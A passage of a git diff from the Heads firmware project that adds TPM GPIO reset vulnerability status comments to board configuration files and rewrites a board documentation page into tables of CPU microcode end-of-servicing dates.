doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a W530 running Qubes and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_w541-hotp-maximized/EOL_w541-hotp-maximized.config b/boards/EOL_w541-hotp-maximized/EOL_w541-hotp-maximized.config index 6baa67129..f93d267cc 100644 --- a/boards/EOL_w541-hotp-maximized/EOL_w541-hotp-maximized.config +++ b/boards/EOL_w541-hotp-maximized/EOL_w541-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a ThinkPad W541 with HOTP security dongle support # For known issues see the blobs/w541/README.md CONFIG_COREBOOT_CONFIG=config/coreboot-w541.config diff --git a/boards/EOL_w541-maximized/EOL_w541-maximized.config b/boards/EOL_w541-maximized/EOL_w541-maximized.config index cb0b985d6..53a21174d 100644 --- a/boards/EOL_w541-maximized/EOL_w541-maximized.config +++ b/boards/EOL_w541-maximized/EOL_w541-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a ThinkPad W541 without HOTP security dongle support # For known issues see the blobs/w541/README.md CONFIG_COREBOOT_CONFIG=config/coreboot-w541.config diff --git a/boards/EOL_x220-hotp-maximized/EOL_x220-hotp-maximized.config b/boards/EOL_x220-hotp-maximized/EOL_x220-hotp-maximized.config index 6d7033db6..4fd0825cc 100644 --- a/boards/EOL_x220-hotp-maximized/EOL_x220-hotp-maximized.config +++ b/boards/EOL_x220-hotp-maximized/EOL_x220-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a X220 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_x220-maximized/EOL_x220-maximized.config b/boards/EOL_x220-maximized/EOL_x220-maximized.config index bb37026df..fdc5da0df 100644 --- a/boards/EOL_x220-maximized/EOL_x220-maximized.config +++ b/boards/EOL_x220-maximized/EOL_x220-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a X220 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_x230-hotp-maximized-fhd_edp/EOL_x230-hotp-maximized-fhd_edp.config b/boards/EOL_x230-hotp-maximized-fhd_edp/EOL_x230-hotp-maximized-fhd_edp.config index e3aa82e55..463839fd0 100644 --- a/boards/EOL_x230-hotp-maximized-fhd_edp/EOL_x230-hotp-maximized-fhd_edp.config +++ b/boards/EOL_x230-hotp-maximized-fhd_edp/EOL_x230-hotp-maximized-fhd_edp.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a X230 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Based on https://review.coreboot.org/c/coreboot/+/28950 for FHD mod diff --git a/boards/EOL_x230-hotp-maximized/EOL_x230-hotp-maximized.config b/boards/EOL_x230-hotp-maximized/EOL_x230-hotp-maximized.config index fc4ca0ce0..cb06d1899 100644 --- a/boards/EOL_x230-hotp-maximized/EOL_x230-hotp-maximized.config +++ b/boards/EOL_x230-hotp-maximized/EOL_x230-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a X230 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_x230-hotp-maximized_usb-kb/EOL_x230-hotp-maximized_usb-kb.config b/boards/EOL_x230-hotp-maximized_usb-kb/EOL_x230-hotp-maximized_usb-kb.config index 6131631ad..fff75bca8 100644 --- a/boards/EOL_x230-hotp-maximized_usb-kb/EOL_x230-hotp-maximized_usb-kb.config +++ b/boards/EOL_x230-hotp-maximized_usb-kb/EOL_x230-hotp-maximized_usb-kb.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a X230 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_x230-maximized-fhd_edp/EOL_x230-maximized-fhd_edp.config b/boards/EOL_x230-maximized-fhd_edp/EOL_x230-maximized-fhd_edp.config index 69058a82e..a7855c198 100644 --- a/boards/EOL_x230-maximized-fhd_edp/EOL_x230-maximized-fhd_edp.config +++ b/boards/EOL_x230-maximized-fhd_edp/EOL_x230-maximized-fhd_edp.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a X230 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Based on https://review.coreboot.org/c/coreboot/+/28950 for FHD mod diff --git a/boards/EOL_x230-maximized/EOL_x230-maximized.config b/boards/EOL_x230-maximized/EOL_x230-maximized.config index 40afeaeab..f5edab489 100644 --- a/boards/EOL_x230-maximized/EOL_x230-maximized.config +++ b/boards/EOL_x230-maximized/EOL_x230-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a X230 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_z220-cmt-hotp-maximized/EOL_z220-cmt-hotp-maximized.config b/boards/EOL_z220-cmt-hotp-maximized/EOL_z220-cmt-hotp-maximized.config index 48d5d9c6a..600df1a24 100644 --- a/boards/EOL_z220-cmt-hotp-maximized/EOL_z220-cmt-hotp-maximized.config +++ b/boards/EOL_z220-cmt-hotp-maximized/EOL_z220-cmt-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for HP Z220 CMT with HOTP usb security dongle support # #The board supports Intel LGA1155, which allows for ME removal (both neuter+disable as claimed by me_cleaner), diff --git a/boards/EOL_z220-cmt-maximized/EOL_z220-cmt-maximized.config b/boards/EOL_z220-cmt-maximized/EOL_z220-cmt-maximized.config index 1bb026565..2f0d51c1f 100644 --- a/boards/EOL_z220-cmt-maximized/EOL_z220-cmt-maximized.config +++ b/boards/EOL_z220-cmt-maximized/EOL_z220-cmt-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for HP Z220 CMT without HOTP usb security dongle support # #The board supports Intel LGA1155, which allows for ME removal (both neuter+disable as claimed by me_cleaner), diff --git a/boards/UNTESTED_msi_z690a_ddr4/UNTESTED_msi_z690a_ddr4.config b/boards/UNTESTED_msi_z690a_ddr4/UNTESTED_msi_z690a_ddr4.config index 0fbf49897..467f1ac94 100644 --- a/boards/UNTESTED_msi_z690a_ddr4/UNTESTED_msi_z690a_ddr4.config +++ b/boards/UNTESTED_msi_z690a_ddr4/UNTESTED_msi_z690a_ddr4.config @@ -1,5 +1,6 @@ # MSI PRO Z690-A DDR4 board configuration - +# CAVEATS: TPM_GPIO_RESET=VULNERABLE (unconfirmed) -- GPIO lock missing, attack not hardware-tested +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=dasharo_msi_z690 export CONFIG_LINUX_VERSION=6.1.8 diff --git a/boards/UNTESTED_msi_z690a_ddr5/UNTESTED_msi_z690a_ddr5.config b/boards/UNTESTED_msi_z690a_ddr5/UNTESTED_msi_z690a_ddr5.config index dbc8803c3..7c28027a5 100644 --- a/boards/UNTESTED_msi_z690a_ddr5/UNTESTED_msi_z690a_ddr5.config +++ b/boards/UNTESTED_msi_z690a_ddr5/UNTESTED_msi_z690a_ddr5.config @@ -1,5 +1,6 @@ # MSI PRO Z690-A (DDR5) board configuration - +# CAVEATS: TPM_GPIO_RESET=VULNERABLE (unconfirmed) -- GPIO lock missing, attack not hardware-tested +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=dasharo_msi_z690 export CONFIG_LINUX_VERSION=6.1.8 diff --git a/boards/UNTESTED_msi_z790p_ddr4/UNTESTED_msi_z790p_ddr4.config b/boards/UNTESTED_msi_z790p_ddr4/UNTESTED_msi_z790p_ddr4.config index 7b67bf351..829a8389a 100644 --- a/boards/UNTESTED_msi_z790p_ddr4/UNTESTED_msi_z790p_ddr4.config +++ b/boards/UNTESTED_msi_z790p_ddr4/UNTESTED_msi_z790p_ddr4.config @@ -1,5 +1,6 @@ # MSI PRO Z790-P DDR4 board configuration - +# CAVEATS: TPM_GPIO_RESET=VULNERABLE (unconfirmed) -- GPIO lock missing, attack not hardware-tested +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=dasharo_msi_z790 export CONFIG_LINUX_VERSION=6.1.8 diff --git a/boards/UNTESTED_nitropad-ns50/UNTESTED_nitropad-ns50.config b/boards/UNTESTED_nitropad-ns50/UNTESTED_nitropad-ns50.config index f2587134e..ebd49e5f6 100644 --- a/boards/UNTESTED_nitropad-ns50/UNTESTED_nitropad-ns50.config +++ b/boards/UNTESTED_nitropad-ns50/UNTESTED_nitropad-ns50.config @@ -1,5 +1,6 @@ # Nitrokey Nitropad NS51 board configuration -# Note: for reference, other GOP enabled FB board is librem_11 +# CAVEATS: TPM_GPIO_RESET=INCONCLUSIVE (unconfirmed) -- GPIO lock missing, attack not hardware-tested +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # # Docs: # Dissassembly and Recovery: https://docs.dasharo.com/unified/novacustom/recovery/#ns5x7x-12th-gen diff --git a/boards/UNTESTED_talos-2/UNTESTED_talos-2.config b/boards/UNTESTED_talos-2/UNTESTED_talos-2.config index d8dcf8e39..cc486fa84 100644 --- a/boards/UNTESTED_talos-2/UNTESTED_talos-2.config +++ b/boards/UNTESTED_talos-2/UNTESTED_talos-2.config @@ -1,5 +1,8 @@ # Configuration for a Talos 2 running Qubes and other OSes # The board uses BE coreboot and LE Linux kernel and initrd +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- POWER9 platform, not Intel +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. CONFIG_TARGET_ARCH=ppc64 export CONFIG_COREBOOT=y diff --git a/boards/librem_11/librem_11.config b/boards/librem_11/librem_11.config index e8a78fd78..957e8aa56 100644 --- a/boards/librem_11/librem_11.config +++ b/boards/librem_11/librem_11.config @@ -1,5 +1,7 @@ # Configuration for librem_11 CONFIG_LINUX_CONFIG=config/linux-librem_common-6.1.8.config +# CAVEATS: TPM_GPIO_RESET=NOT_APPLICABLE -- No TPM hardware (CONFIG_NO_TPM=y); uses ROM-hash HOTP +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. CONFIG_COREBOOT_CONFIG=config/coreboot-librem_11.config export CONFIG_COREBOOT=y diff --git a/boards/librem_14/librem_14.config b/boards/librem_14/librem_14.config index a7a36157f..ad44492c1 100644 --- a/boards/librem_14/librem_14.config +++ b/boards/librem_14/librem_14.config @@ -1,5 +1,7 @@ # Configuration for a librem 14 CONFIG_LINUX_CONFIG=config/linux-librem_common-6.1.8.config +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. CONFIG_COREBOOT_CONFIG=config/coreboot-librem_14.config export CONFIG_COREBOOT=y diff --git a/boards/librem_l1um_v2/librem_l1um_v2.config b/boards/librem_l1um_v2/librem_l1um_v2.config index c1a70babd..9e41b4b3b 100644 --- a/boards/librem_l1um_v2/librem_l1um_v2.config +++ b/boards/librem_l1um_v2/librem_l1um_v2.config @@ -1,5 +1,7 @@ # Configuration for librem_l1um_v2 CONFIG_LINUX_CONFIG=config/linux-librem_common-6.1.8.config +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. CONFIG_COREBOOT_CONFIG=config/coreboot-librem_l1um_v2.config export CONFIG_COREBOOT=y diff --git a/boards/librem_mini/librem_mini.config b/boards/librem_mini/librem_mini.config index 72ba6e4a5..8724adf25 100644 --- a/boards/librem_mini/librem_mini.config +++ b/boards/librem_mini/librem_mini.config @@ -1,5 +1,7 @@ # Configuration for a librem mini CONFIG_LINUX_CONFIG=config/linux-librem_common-6.1.8.config +# CAVEATS: TPM_GPIO_RESET=NOT_APPLICABLE -- No TPM hardware (CONFIG_NO_TPM=y); uses ROM-hash HOTP +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. CONFIG_COREBOOT_CONFIG=config/coreboot-librem_mini.config export CONFIG_COREBOOT=y diff --git a/boards/librem_mini_v2/librem_mini_v2.config b/boards/librem_mini_v2/librem_mini_v2.config index 947145fad..2579b62fd 100644 --- a/boards/librem_mini_v2/librem_mini_v2.config +++ b/boards/librem_mini_v2/librem_mini_v2.config @@ -1,5 +1,7 @@ # Configuration for a librem mini v2 CONFIG_LINUX_CONFIG=config/linux-librem_common-6.1.8.config +# CAVEATS: TPM_GPIO_RESET=NOT_APPLICABLE -- No TPM hardware (CONFIG_NO_TPM=y); uses ROM-hash HOTP +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. CONFIG_COREBOOT_CONFIG=config/coreboot-librem_mini_v2.config export CONFIG_COREBOOT=y diff --git a/boards/msi_z790p_ddr5/msi_z790p_ddr5.config b/boards/msi_z790p_ddr5/msi_z790p_ddr5.config index 91d71eed9..63c91439f 100644 --- a/boards/msi_z790p_ddr5/msi_z790p_ddr5.config +++ b/boards/msi_z790p_ddr5/msi_z790p_ddr5.config @@ -1,5 +1,6 @@ # MSI PRO Z790-P (DDR5) board configuration - +# CAVEATS: TPM_GPIO_RESET=VULNERABLE (unconfirmed) -- GPIO lock missing, attack not hardware-tested +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=dasharo_msi_z790 export CONFIG_LINUX_VERSION=6.1.8 diff --git a/boards/novacustom-nv4x_adl/novacustom-nv4x_adl.config b/boards/novacustom-nv4x_adl/novacustom-nv4x_adl.config index 55949736a..5dea7fca4 100644 --- a/boards/novacustom-nv4x_adl/novacustom-nv4x_adl.config +++ b/boards/novacustom-nv4x_adl/novacustom-nv4x_adl.config @@ -1,5 +1,6 @@ # NovaCustom NV4x 12th Gen (nv40pz: Alder Lake) board configuration -# Note: for reference, other GOP enabled FB board is librem_11 +# CAVEATS: TPM_GPIO_RESET=INCONCLUSIVE (unconfirmed) -- GPIO lock missing, attack not hardware-tested +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # # Docs: # Dissassembly and Recovery: https://docs.dasharo.com/unified/novacustom/recovery/#12th-gen diff --git a/boards/novacustom-v540tu/novacustom-v540tu.config b/boards/novacustom-v540tu/novacustom-v540tu.config index 75033a92c..8cf4e7628 100644 --- a/boards/novacustom-v540tu/novacustom-v540tu.config +++ b/boards/novacustom-v540tu/novacustom-v540tu.config @@ -12,7 +12,9 @@ # # DISCLAIMER: Meteor Lake (Intel Gen 14) is not supposed to support s3 but coincidently does. In case s3 is broken, user must configure settings to not suspend or otherwise enable # ME/CSME for s0ix to work (unsupported by QubesOS when writing those lines) or use Hibernate (Not supported by QubesOS either) - +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- PCR GPIO lock Kconfig selected but per-pad enforcement unconfigured in board GPIO tables; GPIO PLTRST# assertion does not apply to eSPI-connected TPMs on this platform +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=dasharo_v56 export CONFIG_DASHARO_EC=y diff --git a/boards/novacustom-v560tu/novacustom-v560tu.config b/boards/novacustom-v560tu/novacustom-v560tu.config index bd3976a1b..280c86018 100644 --- a/boards/novacustom-v560tu/novacustom-v560tu.config +++ b/boards/novacustom-v560tu/novacustom-v560tu.config @@ -12,7 +12,9 @@ # # DISCLAIMER: Meteor Lake (Intel Gen 14) is not supposed to support s3 but coincidently does. In case s3 is broken, user must configure settings to not suspend or otherwise enable # ME/CSME for s0ix to work (unsupported by QubesOS when writing those lines) or use Hibernate (Not supported by QubesOS either) - +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- PCR GPIO lock Kconfig selected but per-pad enforcement unconfigured in board GPIO tables; GPIO PLTRST# assertion does not apply to eSPI-connected TPMs on this platform +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=dasharo_v56 export CONFIG_DASHARO_EC=y diff --git a/doc/BOARDS_AND_TESTERS.md b/doc/BOARDS_AND_TESTERS.md index 7467562fe..3c812c728 100644 --- a/doc/BOARDS_AND_TESTERS.md +++ b/doc/BOARDS_AND_TESTERS.md @@ -1,107 +1,140 @@ General information == -- **Intel CPU Generations:** [List of Intel processors](https://en.wikipedia.org/wiki/List_of_Intel_processors) - - **End of Servicing Updates (ESU Date)** [ESU table for Intel processors](https://www.intel.com/content/www/us/en/support/articles/000022396/processors.html) -- **AMD CPU Generations:** [List of AMD processors](https://en.wikipedia.org/wiki/AMD_processors) -- **Transient CPU Vulnerabilities:** [Transient execution CPU vulnerability](https://en.wikipedia.org/wiki/Transient_execution_CPU_vulnerability) - -**Note (as of 2026-07-22):** -- Intel CPUs from the 1st to 7th generations (Nehalem through Kaby Lake) have reached End-of-Life (EOL) status and no longer receive microcode updates. Consequently, these processors remain vulnerable to Spectre Variant 2 (CVE-2017-5715) and related speculative execution vulnerabilities. -- Some 8th generations (Kaby Lake Refresh) also reached EOL per Intel ESU. - -**Per-generation EOL/ESU dates** (sources: [eosl.date](https://eosl.date/eol/product/intel-processors/), [Intel microcode releases](https://github.com/intel/Intel-Linux-Processor-Microcode-Data-Files/releases)): - -| Generation | Code Name | EOL/ESU Date | Microcode Status | -|---|---|---|---| -| 2nd Gen | Sandy Bridge | ~2017-2018 (estimated) | No updates since ~2018 | -| 3rd Gen | Ivy Bridge | Dec 31, 2019 | No updates since ~2019 | -| 4th Gen | Haswell | Jun 30, 2021 | No updates since ~2021 | -| 5th Gen | Broadwell | Jun 30, 2021 | No updates since ~2021 | -| 6th Gen | Skylake | Sep 30, 2022 | No updates since ~2022 | -| 7th Gen | Kaby Lake | Mar 31, 2024 | No updates since ~2024 | -| 8th Gen | Kaby Lake-R / Coffee Lake / Whiskey Lake | Jun 30, 2025 | Not in Feb 2026 release | -| 10th Gen | Comet Lake | Active (as of Feb 2026) | Last in Feb 2026; dropped from May 2026 | -| 11th Gen | Tiger Lake | Active | Last in Feb 2026; dropped from May 2026 | -| 12th Gen | Alder Lake | Active | Last in Feb 2026; dropped from May 2026 | - -Intel does **not** offer an Extended Security Updates (ESU) program. "ESU" in Intel documentation refers to "End of Servicing Updates" — the date after which no further microcode releases are made. Once a generation reaches ESU, any newly discovered CPU vulnerabilities will remain unpatched indefinitely. - -- **Those boards names were renamed with EOL_ preceding their board names for users to be hinted by this at download/compilation/testing time** - -While software-based mitigations like Retpoline can reduce exposure to certain speculative execution attacks, their effectiveness is limited without corresponding microcode updates. Therefore, systems utilizing these older CPUs should be considered inherently vulnerable to Spectre Variant 2 and similar threats. - -Only mitigation is to make sure no secret is present in memory (trusted workflow) in parallel of untrusted workflows. -- This implies a single trusted workflow per boot session, ideally without any secrets remaining in memory—for example, running Tails from a live CD without providing it with any disk decryption passphrase. - - Poper OPSEC when running Tails: https://www.anarsec.guide/posts/tails - - The moment a secret resides in memory (e.g., a passphrase or private document), minimize its exposure by limiting its duration—reboot before switching tasks. - - Always prioritize security over convenience. When in doubt, reboot. - - Proper OPSEC for Memory use on QubesOS: https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use - - Use disposable qubes as if you were running Tails: use distinct disposable qubes and for really short lived tasks: always consider disk decryption key in memory at risk! -**On systems affected by QSB-107 and lacking updated microcode, [any untrusted application running in a qube could potentially exfiltrate sensitive memory content at a rate of as fast as 5.6 KiB/s.](https://comsec.ethz.ch/research/microarch/branch-privilege-injection)** - - -Live list of community supported platform testers per last coreboot/linux version bump -== - -Heads is a community project, where boards under boards/* need to be tested by board owners when coreboot/linux version bumps happen prior of a Pull Request (PR) merge. -This list will be maintained per coreboot/linux version bumps PRs. - -Please see boards/BOARD_NAME/BOARD_NAME.config for HCL details. - ----- - -As per tracking issue for board testers: https://github.com/linuxboot/heads/issues/692, currently built CircleCI boards ROMs are: - -## TPM GPIO Reset Vulnerability (upstream coreboot bug) +[Intel](https://en.wikipedia.org/wiki/List_of_Intel_processors) and +[AMD](https://en.wikipedia.org/wiki/List_of_AMD_processors) CPU generations; +[Transient execution CPU vulnerability](https://en.wikipedia.org/wiki/Transient_execution_CPU_vulnerability). + +"ESU" means "End of Servicing Updates" -- the date after which Intel stops +releasing microcode for a CPU generation; newly discovered vulnerabilities on +past-ESU generations remain unpatched. The `EOL_` prefix in board directories +indicates ended microcode servicing. For future ESU dates refer to: +- **Intel:** [ESU policy](https://www.intel.com/content/www/us/en/support/topics/support-and-servicing-for-processors.html) | [microcode releases](https://github.com/intel/Intel-Linux-Processor-Microcode-Data-Files/releases) +- **AMD:** [linux-firmware microcode history](https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/log/amd-ucode/) +- **IBM POWER9:** [End of Standard Service announcement](https://public.dhe.ibm.com/systems/support/planning/notices/September.12.2024.Announcement.Power9.pdf) (January 31, 2026) + +## Per-board EOL/ESU status + +The Last Microcode column links to the [Intel microcode releases page](https://github.com/intel/Intel-Linux-Processor-Microcode-Data-Files/releases). +Dates below are as of the document's last update and may be stale. + +**EOL boards** (`EOL_` prefix present): + +| Board | Gen | Code Name | ESU Date | Last Microcode | +|---|---|---|---|---| +| `EOL_t420` | 2nd | Sandy Bridge | No official ESU | 2019-05-14 | +| `EOL_x220` | 2nd | Sandy Bridge | No official ESU | 2019-05-14 | +| `EOL_t430` | 3rd | Ivy Bridge | No official ESU | 2019-05-14 | +| `EOL_w530` | 3rd | Ivy Bridge | No official ESU | 2019-05-14 | +| `EOL_x230` | 3rd | Ivy Bridge | No official ESU | 2019-05-14 | +| `EOL_t530` | 3rd | Ivy Bridge | No official ESU | 2019-05-14 | +| `EOL_optiplex-7010_9010` | 3rd | Ivy Bridge | No official ESU | 2019-05-14 | +| `EOL_z220-cmt` | 3rd | Ivy Bridge | No official ESU | 2019-05-14 | +| `EOL_t440p` | 4th | Haswell | Jun 30, 2021 | 2021-06 | +| `EOL_w541` | 4th | Haswell | Jun 30, 2021 | 2021-06 | +| `EOL_librem_l1um` | 5th | Broadwell | Jun 30, 2021 | 2020-06 | +| `EOL_librem_13v2` | 6th | Skylake | Sep 30, 2022 | 2022-11 | +| `EOL_librem_15v3` | 6th | Skylake | Sep 30, 2022 | 2022-11 | +| `EOL_m900_tower` | 6th | Skylake | Sep 30, 2022 | 2022-11 | +| `EOL_librem_13v4` | 7th | Kaby Lake | Mar 31, 2024 | 2024-03 | +| `EOL_librem_15v4` | 7th | Kaby Lake | Mar 31, 2024 | 2024-03 | +| `EOL_t480` | 8th | Kaby Lake-R | Mar 31, 2026 ¹ | 2024-03 | +| `EOL_t480s` | 8th | Kaby Lake-R | Mar 31, 2026 ¹ | 2024-03 | + +¹ KBL-R falls under Whiskey Lake ESU (Mar 31, 2026); also classified under Coffee Lake ESU (Jun 30, 2025). Both dates have passed. + +| `librem_l1um_v2` | 9th | Coffee Lake Refresh | Jun 30, 2026 | Not in Feb 2026+ | +| `librem_mini` | 8th | Whiskey Lake | Mar 31, 2026 | Not in Feb 2026+ | +| `UNTESTED_talos-2` | POWER9 | Talos II (IBM) | Jan 31, 2026 ² | Feb 2024 ² | + +² IBM End of Standard Service for POWER9. Last Raptor firmware release: February 2024. + +**Active boards** (ESU not yet reached; no `EOL_` prefix): + +| Board | Gen | Code Name | ESU Date | Last Microcode | +|---|---|---|---|---| +| `librem_14` | 10th | Comet Lake | Jun 30, 2027 | 2025-05 ³ | +| `librem_mini_v2` | 10th | Comet Lake | Jun 30, 2027 | 2025-05 ³ | +| `librem_11` | Atom | Jasper Lake | TBD | TBD | +| `UNTESTED_nitropad-ns50` | 12th | Alder Lake | Active | 2026-02 | +| `novacustom-nv4x_adl` | 12th | Alder Lake | Active | 2026-02 | +| `UNTESTED_msi_z690a_ddr4` | 12th | Alder Lake | Active | 2026-02 | +| `UNTESTED_msi_z690a_ddr5` | 12th | Alder Lake | Active | 2026-02 | +| `msi_z790p_ddr5` | 13th | Raptor Lake | Active | 2026-05 | +| `UNTESTED_msi_z790p_ddr4` | 13th | Raptor Lake | Active | 2026-05 | +| `novacustom-v540tu` | Core Ultra S1 | Meteor Lake | Active | 2026-05 | +| `novacustom-v560tu` | Core Ultra S1 | Meteor Lake | Active | 2026-05 | + +³ Comet Lake ESU runs through Jun 30, 2027. Check the +[Intel microcode releases page](https://github.com/intel/Intel-Linux-Processor-Microcode-Data-Files/releases) +for 